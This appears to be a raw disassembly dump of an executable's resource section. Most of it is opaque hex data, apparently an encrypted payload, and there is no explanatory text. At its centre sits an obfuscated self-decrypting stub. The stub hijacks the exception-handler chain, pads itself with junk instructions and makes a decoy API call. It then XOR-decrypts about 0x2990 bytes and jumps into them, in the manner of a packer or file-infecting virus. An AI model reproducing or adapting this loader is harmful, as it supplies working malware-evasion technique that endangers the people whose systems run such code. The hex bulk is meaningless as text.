8FDA3003h, 2816FC7Ah dd 7564E6B6h, 2C0CDCACh, 21B398BBh, 35168B13h, 0B0584DB2h dd 72812CE3h, 0CDFDB25h, 0E8736574h, 0F2DB743Bh, 43EB4C6Ch dd 0F4E0FA53h, 89122050h, 5A7DFBB4h, 0F29585E7h, 0AFDA5003h dd 48161C7Ah, 9564C6B6h, 4C0CF36Ch, 843E3E03h, 57638583h dd 0CF636AB9h, 6E0C0B92h, 49A3ACB9h, 6057DC9Ah, 0FD0D1046h dd 0AE33AE93h, 61F292EEh, 97237813h, 28A3CB2Ch, 6A9BCC83h dd 0EDB30653h, 0F0245179h, 4D71F246h, 9799A093h, 0B526B504h dd 0B4738851h, 30CCFA17h, 0DBE37EDFh, 17D1E7ACh, 0BC2CC003h dd 8C7BA35Eh, 0FCA56483h, 418DDCC6h, 588B8B13h, 0F588DADCh dd 0CE7AAC93h, 99A3A00Bh, 10253079h, 2D0D2446h, 7C335193h dd 0C1B38ED7h, 47B35313h, 3530A483h, 0BB9B1DF9h, 5F735253h dd 613135ECh, 55B0F6C3h, 0E4774B6Ch, 0B8B39A55h, 9731B496h dd 0B5BEB3D3h, 0A6F39CD1h, 69F1AAC6h, 0A5214113h, 88CC36D3h dd 53E38AFDh, 0AE4CF2D0h, 0F7768D97h, 0BA33C4D3h, 8BB1A026h dd 8326CD53h, 0BC73902Dh, 93C292Bh, 0C3F3212Dh, 53C3FFDAh dd 0AE40C803h, 0E562DDD0h, 5AF706C2h, 1BEF17ACh, 3A8CF003h dd 0FD237895h, 0B7FC5416h, 81B3EFC9h, 52FAF120h, 2523CCA7h dd 13A28DC2h, 0C9BC124Ch, 91E69F43h, 0E833A6EDh, 0F0770B53h dd 78B35A56h, 5731D096h, 7E8B3DD3h, 60F34CE1h, 0BC44BA18h dd 8F63E997h, 0FD3326D3h, 96F072E6h, 61A3DA3Bh, 7670CA20h dd 0E4C49F24h, 1977391Ah, 260BF243h, 7473403Ah, 0C830AA98h dd 83E3F4FBh, 10B0E860h, 0C68479E4h, 374F5B5Ah, 0C4302C83h dd 0E0B529E4h, 3CFE85F0h, 0FE8409CBh, 0BA235787h, 429B6B38h dd 0C84979C3h, 1C5D27A4h, 417081E7h, 69C1D35Fh, 544F6B98h dd 6F306291h, 2BB74983h, 926AEDACh, 77F653D2h, 9633AE91h dd 0BBD75818h, 7B3C8260h, 4F7390ABh, 76FC6D10h, 9B4EB998h dd 0DDB39A12h, 0BE400798h, 0B752127Fh, 6C894095h, 0C3939E51h dd 53075C2Fh, 0D04778EFh, 0AB86A4AFh, 903833B0h, 0A22B0D2Eh dd 838EAD3h, 8BA1AFC0h, 2680A75Ch, 2CF88FECh, 337A91EEh dd 95771BD0h, 3C4C95ACh, 1926FB44h, 5A288ADCh, 0ACCEA36Ch dd 4681A110h, 608CF097h, 0BE630B2Ch, 0A7FCCBC7h, 8E4C2556h dd 0EA9BF320h, 60CC812Dh, 97092483h, 985BFDACh, 8CAFEDh dd 0A2CD4A57h, 7B21C76Ch, 0E1B34A45h, 0C88CFBFBh, 8533062Ch dd 5AAE3C93h, 398761BEh, 7C892913h, 325716D3h, 7B46EFA1h dd 35B3AA11h, 26152A9Ah, 0FA6913EDh, 4BF04F16h, 0A5ED6953h dd 6E15EE10h, 3276D6E8h, 73F00716h, 0D7F0DD53h, 17735813h dd 66F54BDCh, 0F8051C93h, 8DBC500Fh, 5F73A3AFh, 903BB558h dd 4353E433h, 321D1E5Ch, 0A74EE813h, 0DA131EF3h, 2BF02F17h dd 0B1384953h, 2C731013h, 95DB37C5h, 500C4B7Ch, 0B1F1B6DEh dd 74BD5B13h, 0C633EEB2h, 73F3B8F2h, 164CCCC8h, 3C09021Ch dd 28B0D6D3h, 0C3E36653h, 19F1F153h, 4C638298h, 86376D12h dd 8F68753h, 49F92B9Bh, 0EDF3759Ah, 0B73046C3h, 33F32C9Fh dd 69E2EA52h, 288CDEADh, 1CB11BE3h, 5B42DC83h, 0F030A763h dd 3F196003h, 156B7F2Dh, 4557EC87h, 2336A5ACh, 94B13C1Ch dd 11A6CF31h, 0F35CAAh, 0BD3675B6h, 8F73C02Ah, 0A93226D3h dd 977683B1h, 62B3DA6Ah, 0C2731813h, 8196EFDFh, 0A4F3ACAAh dd 42440DACh, 7BFEC119h, 4D3386EAh, 0EBE3E493h, 0D1B33A55h dd 2775E04Ah, 9D6BDED3h, 340CCAC5h, 20CFE7D9h, 0EBF5B003h dd 0AD0A7AF9h, 8F76DC93h, 0A3B3BA6Ah, 13F60FF3h, 0ED335EEAh dd 4EF39C93h, 0F70E525Ah, 0DE73302Ah, 0A8C4B3A7h, 63E3FD17h dd 0A1B31A53h, 0BAF37367h, 552387AFh, 2B437896h, 0E98A3FEEh dd 0E8079513h, 0A44D5B53h, 0A7F63483h, 0A5367DCDh, 7773C82Ah dd 0B1372ED3h, 674EFC9Ah, 6BB3A26Ah, 1AF08964h, 0D231417h dd 0B1554C93h, 0D25B05ACh, 0F8CB7EEh, 35339CA2h, 0C98F7118h dd 44B02243h, 2F633293h, 82CF9D3Bh, 0E2771B6Ch, 8AB36A51h dd 4731C0A6h, 996D85D3h, 0A71B8290h, 464C6DAEh, 9F71DB91h dd 0C979B7D3h, 0C3F384F3h, 27E124D8h, 0C4675210h, 90C46EA9h dd 6BE3F517h, 99B30253h, 0B2FA4466h, 5D23E41Bh, 0AA63411Eh dd 6C384A43h, 3763887Bh, 3C644A20h, 0DBF336F7h, 39B3C7DEh dd 0DA80C003h, 0CFD01662h, 8604C060h, 51A383D7h, 87730813h dd 0F59DDADCh, 380CAC93h, 74620A7Bh, 7AF8CFECh, 3D23C46Bh dd 0F7FC0616h, 0C1B32ACBh, 550BCD98h, 2FB8CEC3h, 9FB99D83h dd 0E9B35233h, 2C7BEA38h, 0AEFAC5D1h, 6EC850E1h, 31A38A3Bh dd 971B6598h, 83413EC3h, 0A8D7B018h, 69A3AAF6h, 68F01013h dd 1D3366BBh, 5B893F93h, 0A2BB4052h, 7C84DFE4h, 55712256h dd 1F760B93h, 0A9B3226Ah, 4B738013h, 8E2B21D1h, 0F3DA28E1h dd 5377CFDAh, 14F8C803h, 42031FFBh, 1BCAE816h, 59B3E253h dd 58718413h, 0D6DB17CBh, 6A0C6B6Fh, 0F2B0E6B8h, 0DB01133Bh dd 81C0D882h, 0CE7E85CCh, 0C9A32BC3h, 5DBBDD9Ah, 0C9C0B6C3h dd 92FC5ACCh, 0B034D7C1h, 7D73A812h, 850A7C46h, 82F53993h dd 0DE5FA81h, 0DFFAB601h, 714CE34h, 98A98B6Ch, 2BB0C619h dd 33F6EF03h, 5337EEAh, 0D6D3BC93h, 0BAC6F712h, 0BDB7CD9Ah dd 0C83096C3h, 83E3F4FBh, 0D1DB9DD0h, 0C738813h, 0F2BAF690h dd 0CBF32CC0h, 26F3E7A4h, 6F72B003h, 0BA4706D3h, 53FB1754h dd 0B6130AF3h, 874A7C96h, 0E5334ED3h, 69F4E897h, 764489BBh dd 52F87AECh, 2D233417h, 287AC170h, 3ABEF17Bh, 1731A89Eh dd 0BE315DD3h, 83B88790h, 0C037C7A4h, 4F709003h, 8947E6D3h dd 913BB118h, 0ACB08A43h, 77639AA3h, 879FABD0h, 13F27C83h dd 0E2A3F8D8h, 0AF317C96h, 5796FD3h, 97AA7E0h, 81F1FB5Bh dd 0E72B2B90h, 77B71B58h, 1B9BEC83h, 0D8B3227Ah, 2E2A7851h dd 0E8B99690h, 0B3E32D11h, 3837EFA4h, 5773B803h, 0A3472ED3h dd 0EB9BD190h, 49059243h, 0A6F765E4h, 0ED3336C3h, 37868491h dd 0F4441CADh, 0C7631197h, 15377ED3h, 0DE79CAE6h, 0B9A33BD0h dd 36F7D5E4h, 1D33A6C3h dd 9886F493h, 23B14DD9h, 0D5A59AB9h, 0F3A0524h, 71310E94h dd 0DE51A451h, 0F4171220h, 0CFBC72F1h, 5F4EE7CBh, 51B3AA11h dd 5DCC8C1Ch, 40CCA12Ch, 4BE3EEEBh, 0A70177ACh, 5A8C3003h dd 3D23C4A7h, 4DD5416Ch, 4C3E2A43h, 17633A73h, 275B5B5Eh dd 0E9A21C83h, 0BC4C5239h, 5F63E24Fh, 9395632Ch, 560C4483h dd 31A3D80Fh, 0B9557DECh, 60BE3EC3h, 2BE3CDDBh, 3BEB77ACh dd 30251003h, 0D0DC446h, 0F563793h, 0A1B31A11h, 0F773B0D0h dd 2F6EAED3h, 141E7D92h, 0B1B3226Bh, 0BAB28FE3h, 8D23C353h dd 4030E416h, 1E43859Bh, 72F34DD2h, 88F01EC3h, 0BD96C83h dd 0D8D5BE26h, 0C37FD46Fh, 9D2033A2h, 0CC0C507Bh, 69B69FACh dd 288CC2A6h, 0DACC5C3Bh, 84DDBD6Ch, 0FDE56A7Eh, 1F56D801h dd 8553B6D3h, 5C0CFB36h, 0B5386326h, 0F2FE9837h, 9523BF9Bh dd 8DFB1C18h, 3BB5B8D2h, 0E725F560h, 0DDCC26D3h, 1399B018h dd 0F44C9A01h, 0B76326E1h, 843BAA50h, 64CCE0ADh, 2AB0870Fh dd 9D9B44D5h, 0A5CC6929h, 7C0C1BECh, 0A50BF932h, 0CC738813h dd 751C6662h, 0D61B2C93h, 0DBB36253h, 5FCBB033h, 553306D3h dd 0F3F35483h, 0F9B38E91h, 9773F996h, 0E5334D3Bh, 3BDF5E93h dd 859786DEh, 27F00EDEh, 4D2A0AD3h, 63F3C47Bh, 95E79153h dd 1DF83523h, 6C555352h, 4C1B0C83h, 984CBDB3h, 4C7394D1h dd 9834E7D1h, 2CCAC795h, 0CE2A99Ch, 0B0E2BFE6h, 0C78F3h dd 1561h dup(0) ; --------------------------------------------------------------------------- jmp short $+2 push ebp mov ebp, esp call sub_100F41E call sub_100F4B1 xchg ebx, ebx cmc mov ebp, 0 ; DATA XREF: sub_100F41E+6w cmc cmc jmp loc_100F45B ; =============== S U B R O U T I N E ======================================= sub_100F41E proc near ; CODE XREF: .rsrc:0100F405p var_34 = dword ptr -34h ; FUNCTION CHUNK AT 0100F4CE SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0100F50E SIZE 0000005F BYTES ; FUNCTION CHUNK AT 0100F56F SIZE 00000007 BYTES push dword ptr fs:0 add dword ptr ds:loc_100F412+1, ebp clc cld mov fs:0, esp xor ebx, ebx push 80000000h push ebx push ebx push 80000000h push 40h push 80000000h push 80000000h push ebx push 800h call ds:GetLastError loc_100F45B: ; CODE XREF: .rsrc:0100F419j sub eax, eax loc_100F45D: ; CODE XREF: sub_100F41E+45j dec al or al, al jz short loc_100F467 jnz short loc_100F45D jmp short loc_100F4CE ; --------------------------------------------------------------------------- loc_100F467: ; CODE XREF: sub_100F41E+43j stc call sub_100F470 cld mov eax, eax sub_100F41E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_100F470 proc near ; CODE XREF: sub_100F41E+4Ap pop edx xchg ebx, ebx sub edx, 0FFFFFFA3h push edx sub ecx, ecx or ecx, 2990h cmc mov edx, edx sub esi, esi or esi, 0F7h loc_100F48D: ; CODE XREF: sub_100F470+2Bj call sub_100F4C0 loc_100F492: ; CODE XREF: sub_100F41E:loc_100F4E5j cmc stc xchg ebx, ebx inc edx dec ecx stc or ecx, ecx jnz short loc_100F48D pop edx stc nop mov esi, [ebp-8] mov fs:0, esi clc leave nop clc jmp edx sub_100F470 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h cmc ; =============== S U B R O U T I N E ======================================= sub_100F4B1 proc near ; CODE XREF: .rsrc:0100F40Ap arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_100F4B1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short $+2 ; =============== S U B R O U T I N E ======================================= sub_100F4C0 proc near ; CODE XREF: sub_100F470:loc_100F48Dp xchg al, [edx] xor ax, si cmc cmc xchg al, [edx] retn sub_100F4C0 endp ; --------------------------------------------------------------------------- dw 0F71Fh ; --------------------------------------------------------------------------- div edi ; START OF FUNCTION CHUNK FOR sub_100F41E loc_100F4CE: ; CODE XREF: sub_100F41E+47j idiv dword ptr [ebx+esi*8-2Dh] or edi, [edi+edi*2-78h] ; CODE XREF: sub_100F41E+D6j fdivrp st(7), st idiv dword ptr [esi+6Fh] xor ch, al div edi jbe short near ptr loc_100F4F6+1 div edi div ebx loc_100F4E5: ; CODE XREF: sub_100F41E+E7j jl short loc_100F492 sal ebx, cl sbb esp, 0FFFFFFAEh jle short near ptr loc_100F534+1 cmp al, 0C5h div edi jge short near ptr loc_100F572+1 jz short near ptr loc_100F4D2+2 loc_100F4F6: ; CODE XREF: sub_100F41E+C1j div edi jle short near ptr loc_100F545+4 cmp ch, al div edi ja short loc_100F50E pop ds cmp edi, 7Ch ; CODE XREF: sub_100F41E+F6j outsd jb short loc_100F4E5 div edi sbb al, 0FEh hlt ; END OF FUNCTION CHUNK FOR sub_100F41E ; --------------------------------------------------------------------------- db 6Fh, 73h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100F41E loc_100F50E: ; CODE XREF: sub_100F41E+E0j fdivrp st(7), st idiv [esp+ebp*4+28h+var_34+1] jl short near ptr loc_100F501+1 mov ds:9B761F7Ch, al sal ebx, cl cmp [edi-9], dh div dword ptr [esi+1Ah] repne out 0E7h, eax idiv dword ptr [ebx+ecx*4-2Dh] rep jp short loc_100F56F db 67h into out 0F7h, eax dec esi div edi loc_100F534: ; CODE XREF: sub_100F41E+CEj div edi add al, 53h pop ds inc ebp div edi idiv dword ptr [edi+edi+1Fh] loc_100F540: ; CODE XREF: sub_100F41E:loc_100F56Fj pop esp div edi neg esp loc_100F545: ; CODE XREF: sub_100F41E+DAj or dword ptr ss:[esi-8090836h], 0FFFFFFF7h add byte ptr [ebp+7F71476h], 8 or [esi-74h], dh mov ecx, 849E9FA3h cmp edi, 76h sbb al, 0F7h div bh test dword ptr [edx-0BCB83E8h], 0A77CCBB4h ; END OF FUNCTION CHUNK FOR sub_100F41E ; --------------------------------------------------------------------------- db 8Fh, 91h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100F41E loc_100F56F: ; CODE XREF: sub_100F41E+10Cj jbe short loc_100F540 cmpsd loc_100F572: ; CODE XREF: sub_100F41E+D4j mov dl, 82h push ds hlt ; END OF FUNCTION CHUNK FOR sub_100F41E ; --------------------------------------------------------------------------- dw 7C24h dd 0BD7CD785h, 0A604F4EFh, 9134F45Ah, 83F58F76h, 76FE82A7h dd 9498F28Fh, 0F28393B6h, 1CAE1D15h, 0D3FBDEDFh, 0AED3857Ch dd 40F804F4h, 8D7CB9F3h, 7C0CF4EBh, 4F470C3h, 0E6B6727Ah dd 7C91F7E7h, 0C21F10A7h, 1CF7F7F7h, 73727CBDh, 0D2F7E7CEh dd 0F3F7F7F7h, 8B7CE883h, 427AF3D3h, 0F7E7CE7Fh, 3B6A7C5Ah dd 5CF7E7B5h, 234A7C53h, 7CF7E7B5h, 0E7B52742h, 0F834AAF7h dd 30A734C6h, 0DFB44EA4h, 2D7CF7F7h, 24DDE7C7h, 71F63774h dd 15217128h, 4F34AC04h, 47F7F73Ch, 94EAFB8Dh, 0E9727F39h dd 27C4BB8Eh, 4EE9882Bh, 77F33173h, 7565F84h, 0D5AA5712h dd 221396C5h, 8990E17Bh, 0D48376B8h, 0A29801A5h, 0C7BF49C2h dd 673D1A8Eh, 73AEF0F4h, 0D32A36CEh, 28A58555h, 183697DCh dd 0A976BEEAh, 0CF81C7F4h, 0C71F749Bh, 0E3A2D753h, 0F8C4483Dh dd 895CA8A2h, 0C247E7BEh, 665098DEh, 76337AFh, 37E4EE87h dd 0D3FA76C8h, 25D1A2B9h, 8A55B7C4h, 0A729425Bh, 5227727Fh dd 0E0AE979Eh, 9243929Fh, 0A461D7BAh, 0D7EAF79Dh, 0C20E17B6h dd 70BA2C0h, 2F0CD4D2h, 4727E775h, 393051A9h, 8643279Eh dd 19E36293h, 72E277B8h, 67ED02DAh, 0BA067E87h, 0A709697Ch dd 0CC7FD761h, 0B825976Dh, 0B9CDA203h, 0CF80D79Ah, 135B7807h dd 0EC6D1796h, 4791A363h, 0A7E194B1h, 0CE0FF750h, 0F7ABA15Bh dd 0F5CF5F6Ch, 27DBD7FAh, 0F9F9E277h, 0A7581716h, 585339Bh dd 2A6E5722h, 5767F705h, 5EEA1C4Eh, 87933B67h, 37213AEBh dd 523277E8h, 675D0528h, 0E52412F7h, 2C49BB11h, 74EF9DDCh dd 72F8CE7Eh, 87132C09h, 0DB1A7C29h, 393F20E1h, 0FEA0BA1h dd 74AB777h, 99EFC2FDh, 83D4F780h, 0E825120Eh, 8771A838h dd 276B404Ah, 0C7F776B2h, 0FAD1752h, 7BAB7E4h, 997FC28Dh dd 8742F710h, 0E5D71391h, 8789372Ch, 2771BFEAh, 0C765774Ch dd 3091FF07h, 6F7BB63Eh, 0A7B857E3h, 7901628Fh, 0EDAD971Eh dd 7853369Ch, 37DFE1BFh, 0C77A9FB8h, 36E41736h, 6D9BB7C6h dd 0ADCA0E52h, 0D258FD8Ah, 0E725A9D4h, 400C6E7h, 376F8127h dd 43E07728h, 677D1592h, 70BB1DCh, 0E3CD19C2h, 0B817BB1Ch dd 0F79BE57Bh, 5186BA7Ch, 14C1C71Dh, 79E2FA51h, 0D6ED0728h dd 749324AAh, 24095730h, 57B9057Dh, 631A975Eh, 87A335ECh dd 19F352F1h, 0B7307718h, 0BCD89887h, 8CEBA72Ch, 0B7478D27h dd 46870830h, 0DEAD1241h, 298374Ch, 27B1E92Ch, 483E0787h dd 77F43873h, 0CDD63C84h, 44E9472Ch, 461608BAh, 0DEC912B1h dd 0A0837DCh, 2701E988h, 0B6507E0Bh, 2EB89867h, 0EFCBA7CDh dd 0A759563Ah, 789F4A9Dh, 28EE97BEh, 5E053756h, 0A485A735h dd 877574B9h, 0DFAEED5h, 8A23DD64h, 0B7DCB447h, 475E4E80h dd 0E358971Eh, 789CC9E1h, 0AA5AB1C5h, 0C78F3ACCh, 0CC7B1746h dd 0ACAFF059h, 32B4B350h, 47A7CA04h, 0E5CCF122h, 45509C7Ah dd 0AC9435A8h, 0AFFF1DECh, 678D655Ah, 7717BCFh, 0A7C39359h dd 4727F708h, 0B6F5FDF6h, 0D74D5DDEh, 191F42E5h, 443777B8h dd 8B9557E2h, 8C8BB7C6h, 2C193D96h, 2DD79D1Ch, 0B527FD6Eh dd 6BDB3796h, 4D41D7F8h, 38B52618h, 0B1F8E8C6h, 58FBA71Ah dd 0A876D2EBh, 4706F0C4h, 0E7201ADEh, 3E23277Ch, 27B1DB41h dd 62BC9803h, 77DDFA87h, 82E6B784h, 0A7E94366h, 1327174Fh dd 186FB724h, 0B94DA223h, 0E7A4D77Ah, 2F8B02A7h, 674D163Bh dd 7DBA6ECh, 0E30C0492h, 20929545h, 911CE5EEh, 0E0665B25h dd 0CFC6D7BFh, 0C72F7226h, 25F1A219h, 92B4B764h, 0A7C96960h dd 61C208C7h, 8DE58710h, 78715DBCh, 373F81DFh, 0C6B7CED8h dd 4CBA1756h, 23B73E05h, 32B60026h, 47D7C99Ah, 42D661ADh dd 87F3081Ah, 0D82683BAh, 0D731E9DDh, 135D92C6h, 0F9A8F132h dd 585725E6h, 2D3FD304h, 18EFFD0Eh, 976DA109h, 5321522Ah dd 4197E464h, 540D1733h, 3D78260Dh, 981FD26Bh, 75D2F7F0h dd 0C311EBFFh, 0F4B1446Fh, 0E6D0FFEEh, 0C7EF798Fh, 312D43F6h dd 545BE765h, 99D7C23Dh, 8792F740h, 18AAE3B7h, 83B1308h dd 37FEE18Fh, 3A9A9F98h, 98BEE8E9h, 17459131h, 2687BC32h dd 4786DF04h, 72EAC05Eh, 87B309CAh, 19174285h, 79267718h dd 67A2E87Dh, 6DEBDD4Eh, 0CD793DA2h, 47F69F30h, 230E97CAh dd 0ED433736h, 0D8655CE6h, 9847219Ah, 54CD17C2h, 0F8815F4Dh dd 3264A8EDh, 4777E2F3h, 0B7A4C66Ch, 0B9A9A233h, 0E392D74Ah dd 9FF7B4C8h, 55D1173Eh, 9A0B7F4h, 0A7585782h, 47D7F710h dd 0E76597AEh, 0AE77373Ch, 2781D7CAh, 914E7758h, 5538E885h dd 0AC3BA75Ah, 674DFBABh, 0A9A50CF5h, 9A401ADDh, 0D56327B5h dd 197B42C5h, 420677D8h, 670D550Ah, 7ABA13Ch, 0C8561B62h dd 17C7829Bh, 8E33FEFCh, 0E2B45270h, 520DB6FCh, 97FF365Dh dd 59BF8249h, 8292B754h, 0A7B91582h, 2665ABA3h, 86FBF28Dh dd 0C82752E1h, 44B4BD78h, 913304DCh, 4984452h, 74E7B7C0h dd 0C2752536h, 35D4F7BEh, 8251F60Bh, 0E2DF5EBAh, 5502D7CBh dd 0A2AB167Dh, 2017ED0h, 778BD669h, 0E6EE39DBh, 2275B440h dd 0B7F0E3BFh, 0E240581Eh, 27F0A489h, 0A62A05CBh, 28F7272h dd 621FD8F9h, 0C28B3F76h, 47793D1h, 9364F23Ch, 0F5FB63B9h dd 2745B60Fh, 0A6DA05BBh, 8197202h, 62B3DB6Bh, 955A27FEh dd 37869973h, 931AFFCDh, 0EE7B724Ch, 55F983AEh, 0C74B160Dh dd 2D17EA0h, 6226DE20h, 0DE8A3856h, 2A3283E3h, 8288FE7Ah dd 0E20171BCh, 45689B2Fh, 0BEED16AAh, 13485056h, 62D7DEA2h dd 0D53D2333h, 33B29569h, 0E714E4FBh, 0C197526Bh, 7414BBD3h dd 0C76A0D21h, 21E97281h, 534EDB3Dh, 0A7DC3A8Bh, 0A439237h dd 8BB0F361h, 0E9327FF9h, 6684BB4Eh, 0B31A30B8h, 17607262h dd 62F7DE82h, 0C244361Ch, 22E0F7A1h, 8A50C30Ah, 0F3A2677Ch dd 605196F2h, 0A2B9034Dh, 81464D4h, 624CB75Ah, 0D5FC01B6h dd 29789E23h, 0E7E4EFABh, 0D147523Bh, 4AB4BB65h, 0A1313EFDh dd 6806579h, 6914DED0h, 0C8455773h, 2ECB93A1h, 9574E53Ch dd 0CAA37695h, 4E67A71Bh, 0A180006Dh, 2317EC0h, 629BF814h dd 0CB1011CCh, 3796BA55h, 80EBFEBEh, 0F75C371Dh, 55F1B98Fh dd 0B45A1417h, 159D1785h, 743ED4EBh, 0E1DB6461h, 331485C9h dd 8887C73Eh, 0F4F052AFh, 425FE569h, 94AF0390h, 0E7B6303h dd 738AD298h, 0C53025F6h, 34B28365h, 823697EFh, 0EB9A7148h dd 4AE883AFh, 0AB4C773Dh, 67DD72B3h, 7348CE37h, 0CE9D3A97h dd 281392EDh, 82B9FE58h, 0E20E5EF8h, 4A9F823Ah, 0AED907A9h dd 1526023h, 62C7DE92h, 0D5500162h, 2BD68284h, 8829FBCFh dd 0F584377Fh, 6104A3C3h, 0C79A1B51h, 3CC63F8h, 7368C22Eh dd 0D1C02582h, 20429B09h, 88E1E49Bh, 872D52E7h, 5592A354h dd 0A21B16CDh, 2917E60h, 44FFF9B4h, 0D3783230h, 28E5A7B5h dd 9456F20Dh, 0C4C779FCh, 5320B2F8h, 0A8AD277Dh, 141E72F5h dd 49FBCF61h, 0C2FB14C6h, 14628321h, 8EE1F4BBh, 0C9235903h dd 42C3948Eh, 922A03E9h, 37AF7275h, 6208D8E6h, 0E9F92451h dd 3716BAC4h, 9060FE18h, 0E2C05193h, 4848A309h, 0B3F17796h dd 9286739h, 62B7DE42h, 0E81D1992h, 17899250h, 8216F8CCh dd 0E857443Fh, 27FFB2B1h, 0B7600326h, 2EE7983h, 6822C317h dd 0D397576Ch, 333885C0h, 0B191F44Bh, 0F20745D5h, 424CBB2Bh dd 0BEED18B5h, 36595956h, 7EC9D291h, 0C82F393Bh, 33A69A72h dd 0B33BF8F7h, 0E9865C43h dd 700599BAh, 0A27B1E3Ah, 13EF7E90h, 4A47D621h, 0D5D63A87h dd 3365F709h, 8EABC262h, 0E23758FFh, 4E93A379h, 0A82B10D6h dd 0E7E7977h, 6EE9C397h, 0F029303Ch, 33F4B6B3h, 9241E51Fh dd 0EBA0377Ch, 5434A4F5h, 0A2841447h, 81E17D2h, 646ED95Ah dd 0C2FE57B6h, 34789F24h, 89DCF59Ah, 87565A1Dh, 51A2B278h dd 0A93A0498h, 89E1772h, 731EDCC7h, 0D3671E32h, 22E985A5h dd 8879D42Ah, 0E6EB529Fh, 425DB314h, 0B3A13E08h, 23365E3h dd 738EF060h, 0C91738E1h, 22839455h, 86F1C4AAh, 0CE135228h dd 55C4A384h, 884B1216h, 26A37286h, 7335FE84h, 0C2872577h dd 2217B8D4h, 8B87C250h, 0E9CA378Dh, 4963B22Eh, 0A2FD038Dh dd 0E7B7307h, 46CBD298h, 0F71801C6h, 69E5C459h, 0E729DBEAh dd 0C494526Eh, 42F2B8A6h, 0C7661213h, 28CA7284h, 4C55D214h dd 0DF8C2E97h, 2215F7C1h, 82A0C679h, 0E6354EDEh, 6294A256h dd 958F36B0h, 24E7023h, 6BCAE1A0h, 0DF7C3217h, 74E1F7B1h dd 0B147FD78h, 0ED07BC4Ah, 559E85ABh, 52002120h, 679D55E6h dd 514D73CFh, 58FF0784h, 0D2D8EF10h, 0E7A5A940h, 0D953F30Fh dd 0AAD1DFD8h, 0F448CE1h, 67FD7F77h, 4B065FB4h, 0A7735466h dd 17C6F2BAh, 6C20FD3Dh, 53386730h, 672B83DAh, 388C2549h dd 7753F103h, 0B3F3424h, 9967C24Dh, 8384F750h, 721854D6h dd 87330A98h, 27DB1EC9h, 0C77F1FDAh, 0A3561734h, 4701E6C5h dd 0BF930672h, 137F3733h, 18559924h, 97ADD549h, 7E5546Ah dd 73AA5CBh, 908F8E79h, 0C5F8EFDEh, 585A0051h, 0B81836C8h dd 42F19841h, 0D703374Ch, 27E33BB2h, 0ADFBFC68h, 0D719CE6h dd 74BDF34h, 0A5B35712h, 2F579DC2h, 0E7E5E5C2h, 0D42237D6h dd 0F194281Ah, 989F67E6h, 41B8E80Fh, 82BBA7DAh, 2C38238Dh dd 57D27F8Dh, 6A59749Eh, 97F337B9h, 70A0D4BAh, 4CDD881Bh dd 77A3D543h, 0DDA43A54h, 4FB957CAh, 0B8C8085Bh, 0D91F1285h dd 8DE378Ch, 27E1FE0Dh, 38806D50h, 0A1889CC9h, 8A9BA7FAh dd 0A70079DDh, 0B8AE1FE0h, 62BE6881h, 87D309C6h, 725171Fh dd 0EED4F8A5h, 939517A6h, 8CF448CAh, 0B7A78547h, 33D77250h dd 0AF2A1AE5h, 6F333755h, 0D83E29D5h, 400B013h, 67EDFF43h dd 8626B7A4h, 0B7124BDFh, 0CA4EC4C0h, 0F70B30DBh, 0D6F766ECh dd 7660872Bh, 0F99DE2F7h, 63DA1796h, 217E4830h, 0FA79479Ch dd 12F7F3F2h, 0E7859726h, 6A926A5Ch, 27B1CCA1h, 52B28812h dd 67DD0CE0h, 2796E5D4h, 0A7C35736h, 216B3323h, 0FCA912F9h dd 0A74E37DCh, 3C4F529Dh, 0C78B77F8h, 0A460174Ch, 0EF93AD9Eh dd 0A759578Bh, 0EDB6B59Dh, 17105E50h, 0C7665EFFh, 2281C7F5h dd 85177FDCh, 58ED825Fh, 0E5CCB774h, 0A7210231h, 1A47F780h dd 0FC707A9Fh, 1AE837BCh, 27E1E87Eh, 0CFAB0B4Bh, 0DE991846h dd 86ABB7D4h, 0A73B5F8Eh, 43DFA3F0h, 1845978Fh, 97ED4D89h dd 0AA9D5CAAh, 0C6FB53BCh, 0DDD17B6h, 71F5F44h, 0F5FF57D2h dd 0B870F732h, 0F78BE16Bh, 0A8A048Ch, 27D0D38Dh, 0AD3E26A8h dd 66974624h, 78BB7DCh, 32E60502h, 4787C992h, 93D312F8h dd 0EFE767A7h, 2741D68Eh, 0E36B884Fh, 676D15B6h, 38D922DBh dd 22D057A2h, 0A4118380h, 331EC7CAh, 0D6713706h, 0B24E81ADh dd 0C75F4932h, 121D925Fh, 9294E144h, 0A7E96904h, 1533A03Dh dd 0BF41FD19h, 8697A051h, 148AD76Ah, 9EAF1D38h, 371DBC85h dd 578BE754h, 329605C2h, 47F7C96Ah, 0E57D533Fh, 0F3FC374Ch dd 0B26EDFFEh, 0C73F487Ah, 7528E8B5h, 5A4BA74Bh, 27D953C0h dd 4622FDAEh, 63681C68h, 647327A9h, 27945A53h, 0C49F67C8h dd 0B5D24187h, 8FB47760h, 0A749566Dh, 46D7730Fh, 0D9D5979Eh dd 0C1F34216h, 2871E93Ah, 0C70E76CCh, 47A397C6h, 866D4621h dd 0E9F007DCh, 0CC758237h, 0E68351C1h, 0D69D1CD3h, 71B0D740h dd 0CDEA88EBh, 3E0D0709h, 829476FFh, 0A729578Dh, 593C726Dh dd 0E75F976Eh, 87C33B64h, 0D802879Ah, 0D7D07DBDh, 67712AA6h dd 8204B734h, 0A799577Dh, 471746B9h, 0B79B16EEh, 88657E2Eh dd 27C1728Fh, 0CF99F498h, 68E02BBAh, 77B2E20h, 0D2296B32h dd 7DBB5B33h, 0E7991251h, 8A0E37ECh, 711F75Ah, 0A2A85635h dd 0CB2262F2h, 7B9E9728h, 87862923h, 32838358h, 0E4FB16BFh dd 0A83C0D2Ch, 6067BF9Fh, 0F6307787h, 67EA074Ch, 55B94084h dd 9943C2EDh, 8754F7B0h, 0B7A5C76Eh, 87833E24h, 507E935Ah dd 0A6C01B86h, 0F2C21702h, 7DB88EEh, 912D9707h, 0C25E3E23h dd 0E775A8EAh, 85F35F6Dh, 76D057CAh, 52E0270Eh, 67BD28C8h dd 1CA422E9h, 949957E2h, 1716A349h, 1884C64Ch, 975D6539h dd 3F5503Ah, 0F9A9E237h, 0A4E51756h, 12DC3A54h, 5E385772h dd 2DB69D33h, 1876688Fh, 